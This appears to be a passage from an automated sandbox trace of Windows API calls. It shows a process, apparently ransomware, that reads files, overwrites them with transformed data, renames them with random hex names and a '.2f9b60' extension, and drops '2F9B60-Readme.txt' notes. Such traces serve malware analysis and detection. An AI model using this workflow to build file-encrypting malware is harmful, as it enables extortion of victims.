0x55474ab5 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x155bff0e [0114.364] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.364] ReadFile (in: hFile=0xeb8, lpBuffer=0x41c31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x225dfa60, lpOverlapped=0x0 | out: lpBuffer=0x41c31d40*, lpNumberOfBytesRead=0x225dfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0114.369] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0114.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9220) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c35950 [0114.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0114.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0114.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.370] WriteFile (in: hFile=0xeb8, lpBuffer=0x41c35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x225dfa60, lpOverlapped=0x0 | out: lpBuffer=0x41c35950*, lpNumberOfBytesWritten=0x225dfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0114.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c35950) returned 1 [0114.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c31d40) returned 1 [0114.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20263dd0 [0114.388] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.388] WriteFile (in: hFile=0xeb8, lpBuffer=0x169090*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x225dfb10, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x225dfb10*=0xfe, lpOverlapped=0x0) returned 1 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0114.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a80) returned 1 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0xd6360 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0114.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0114.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0114.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x20260cb0 [0114.394] sprintf (in: _Dest=0x20260cb0, _Format="%c%c" | out: _Dest="c6") returned 2 [0114.394] sprintf (in: _Dest=0x20260cb2, _Format="%c%c" | out: _Dest="64") returned 2 [0114.394] sprintf (in: _Dest=0x20260cb4, _Format="%c%c" | out: _Dest="15") returned 2 [0114.394] sprintf (in: _Dest=0x20260cb6, _Format="%c%c" | out: _Dest="6e") returned 2 [0114.394] sprintf (in: _Dest=0x20260cb8, _Format="%c%c" | out: _Dest="bc") returned 2 [0114.394] sprintf (in: _Dest=0x20260cba, _Format="%c%c" | out: _Dest="7f") returned 2 [0114.394] sprintf (in: _Dest=0x20260cbc, _Format="%c%c" | out: _Dest="00") returned 2 [0114.394] sprintf (in: _Dest=0x20260cbe, _Format="%c%c" | out: _Dest="a4") returned 2 [0114.394] sprintf (in: _Dest=0x20260cc0, _Format="%c%c" | out: _Dest="ab") returned 2 [0114.394] sprintf (in: _Dest=0x20260cc2, _Format="%c%c" | out: _Dest="70") returned 2 [0114.394] sprintf (in: _Dest=0x20260cc4, _Format="%c%c" | out: _Dest="69") returned 2 [0114.394] sprintf (in: _Dest=0x20260cc6, _Format="%c%c" | out: _Dest="d7") returned 2 [0114.394] RtlInitAnsiString (in: DestinationString=0x225dfb88, SourceString="c664156ebc7f00a4ab7069d7" | out: DestinationString="c664156ebc7f00a4ab7069d7") [0114.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x225dfb58, SourceString="c664156ebc7f00a4ab7069d7", AllocateDestinationString=1 | out: DestinationString="c664156ebc7f00a4ab7069d7") returned 0x0 [0114.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda01b0 [0114.395] wcscat (in: _Dest=0x1cf4dad0, _Source="c66415" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415" [0114.395] wcscat (in: _Dest=0x1cf4dad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415.2f9b60" [0114.395] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415.2f9b60", NtPathName=0x225dfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\c66415.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b861f90 [0114.395] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x225dfbd0, FileInformation=0x1b861f90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0114.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 [0114.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.397] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x225dfb98, FileInformation=0x225dfba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x225dfb98, FileInformation=0x225dfba8) returned 0x0 [0114.397] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x225dfb98, FileInformation=0x225dfba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dad0) returned 1 [0114.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda01b0) returned 1 [0114.399] FlushFileBuffers (hFile=0xeb8) returned 1 [0114.401] CloseHandle (hObject=0xeb8) returned 1 [0114.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad2a0 [0114.405] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0114.405] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0114.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0xffffffff [0114.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb8 [0114.411] WriteFile (in: hFile=0xeb8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x225dfa50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x225dfa50*=0xba9, lpOverlapped=0x0) returned 1 [0114.412] CloseHandle (hObject=0xeb8) returned 1 [0114.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 Thread: id = 1200 os_tid = 0xc50 [0114.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20 [0114.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM", dwFileAttributes=0x20) returned 1 [0114.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f4 [0114.367] GetFileSizeEx (in: hFile=0x14f4, lpFileSize=0x3807f880 | out: lpFileSize=0x3807f880*=63864) returned 1 [0114.367] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0xf974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.367] ReadFile (in: hFile=0x14f4, lpBuffer=0x3807f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3807f848, lpOverlapped=0x0 | out: lpBuffer=0x3807f800*, lpNumberOfBytesRead=0x3807f848*=0x4, lpOverlapped=0x0) returned 1 [0114.373] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0114.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0114.373] NtQuerySystemTime (in: CurrentTime=0x3807f740 | out: CurrentTime=0x3807f740*=132462177198310000) returned 0x0 [0114.373] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x221280a4 [0114.373] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x3a3f9da7 [0114.373] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x7ef1deb4 [0114.373] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x5d8d147c [0114.373] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x423383e2 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x7f15f013 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x777dc38c [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x5acafcb4 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x5f8f640f [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x789a569a [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x46306ae2 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x6c148efe [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x1e7bbe7a [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x43342e53 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x4a172dc4 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x6168c566 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x570ee4fc [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x6cbbd580 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x124fba63 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x7c5278a8 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x1327c226 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x2e83ba81 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x4654bde4 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x337c03bd [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x7a37b714 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x3654e0a8 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x34af1bad [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x24ee05d7 [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x60f3e5ff [0114.374] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x42f7f936 [0114.375] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x750c065 [0114.375] RtlRandomEx (in: Seed=0x3807f730 | out: Seed=0x3807f730) returned 0x2ed9d3c8 [0114.387] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.387] ReadFile (in: hFile=0x14f4, lpBuffer=0x41c39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3807f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41c39560*, lpNumberOfBytesRead=0x3807f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.389] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0114.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0114.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0114.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c31d40 [0114.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0114.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0114.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a80) returned 1 [0114.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0114.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.391] WriteFile (in: hFile=0x14f4, lpBuffer=0x41c31d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3807f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41c31d40*, lpNumberOfBytesWritten=0x3807f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c31d40) returned 1 [0128.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c39560) returned 1 [0128.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202aa680 [0128.419] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.419] WriteFile (in: hFile=0x14f4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3807f850, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3807f850*=0x102, lpOverlapped=0x0) returned 1 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0128.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e00) returned 1 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0128.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e60 [0128.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e60) returned 1 [0128.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0128.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20264e60 [0128.423] sprintf (in: _Dest=0x20264e60, _Format="%c%c" | out: _Dest="59") returned 2 [0128.423] sprintf (in: _Dest=0x20264e62, _Format="%c%c" | out: _Dest="a0") returned 2 [0128.423] sprintf (in: _Dest=0x20264e64, _Format="%c%c" | out: _Dest="86") returned 2 [0128.423] sprintf (in: _Dest=0x20264e66, _Format="%c%c" | out: _Dest="db") returned 2 [0128.423] sprintf (in: _Dest=0x20264e68, _Format="%c%c" | out: _Dest="d9") returned 2 [0128.423] sprintf (in: _Dest=0x20264e6a, _Format="%c%c" | out: _Dest="69") returned 2 [0128.423] sprintf (in: _Dest=0x20264e6c, _Format="%c%c" | out: _Dest="f0") returned 2 [0128.423] sprintf (in: _Dest=0x20264e6e, _Format="%c%c" | out: _Dest="ab") returned 2 [0128.423] sprintf (in: _Dest=0x20264e70, _Format="%c%c" | out: _Dest="c7") returned 2 [0128.423] sprintf (in: _Dest=0x20264e72, _Format="%c%c" | out: _Dest="a3") returned 2 [0128.423] sprintf (in: _Dest=0x20264e74, _Format="%c%c" | out: _Dest="d1") returned 2 [0128.423] sprintf (in: _Dest=0x20264e76, _Format="%c%c" | out: _Dest="1a") returned 2 [0128.423] sprintf (in: _Dest=0x20264e78, _Format="%c%c" | out: _Dest="b9") returned 2 [0128.423] sprintf (in: _Dest=0x20264e7a, _Format="%c%c" | out: _Dest="4a") returned 2 [0128.423] sprintf (in: _Dest=0x20264e7c, _Format="%c%c" | out: _Dest="5a") returned 2 [0128.423] sprintf (in: _Dest=0x20264e7e, _Format="%c%c" | out: _Dest="6c") returned 2 [0128.423] RtlInitAnsiString (in: DestinationString=0x3807f8c8, SourceString="59a086dbd969f0abc7a3d11ab94a5a6c" | out: DestinationString="59a086dbd969f0abc7a3d11ab94a5a6c") [0128.423] RtlAnsiStringToUnicodeString (in: DestinationString=0x3807f898, SourceString="59a086dbd969f0abc7a3d11ab94a5a6c", AllocateDestinationString=1 | out: DestinationString="59a086dbd969f0abc7a3d11ab94a5a6c") returned 0x0 [0128.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c710 [0128.424] wcscat (in: _Dest=0x1b86b790, _Source="59a086db" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db" [0128.424] wcscat (in: _Dest=0x1b86b790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db.2f9b60" [0128.424] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db.2f9b60", NtPathName=0x3807f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\59a086db.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b8615f0 [0128.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.426] NtQueryInformationFile (in: FileHandle=0x14f4, IoStatusBlock=0x3807f8d8, FileInformation=0x3807f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3807f8d8, FileInformation=0x3807f8e8) returned 0x0 [0128.426] NtSetInformationFile (FileHandle=0x14f4, IoStatusBlock=0x3807f8d8, FileInformation=0x3807f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 [0128.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0128.428] FlushFileBuffers (hFile=0x14f4) returned 1 [0128.429] CloseHandle (hObject=0x14f4) returned 1 [0128.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.430] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0128.430] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0128.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0128.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 Thread: id = 1201 os_tid = 0xc4c [0114.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20 [0114.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM", dwFileAttributes=0x20) returned 1 [0114.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0114.416] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x37f4fc00 | out: lpFileSize=0x37f4fc00*=23424) returned 1 [0114.416] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x5b7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.416] ReadFile (in: hFile=0xeb8, lpBuffer=0x37f4fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37f4fbc8, lpOverlapped=0x0 | out: lpBuffer=0x37f4fb80*, lpNumberOfBytesRead=0x37f4fbc8*=0x4, lpOverlapped=0x0) returned 1 [0114.422] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0114.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.422] NtQuerySystemTime (in: CurrentTime=0x37f4fac0 | out: CurrentTime=0x37f4fac0*=132462177198778000) returned 0x0 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x208a197a [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x5b01bf0b [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x2531e683 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x1ff511bc [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x28f4bfb2 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x110f6fff [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x4579b967 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x1f6ad3e2 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x546b81fb [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x76d654fe [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x68e7d8b1 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x340593e [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x5a6b37b3 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x2bd2d595 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x2ce7e976 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x2572c21c [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x6a0e4980 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x1351aab5 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x16d0bc34 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x36959e02 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x3a402a9d [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x6a85392b [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x37644e3f [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x6fab7f2f [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x3a6b3228 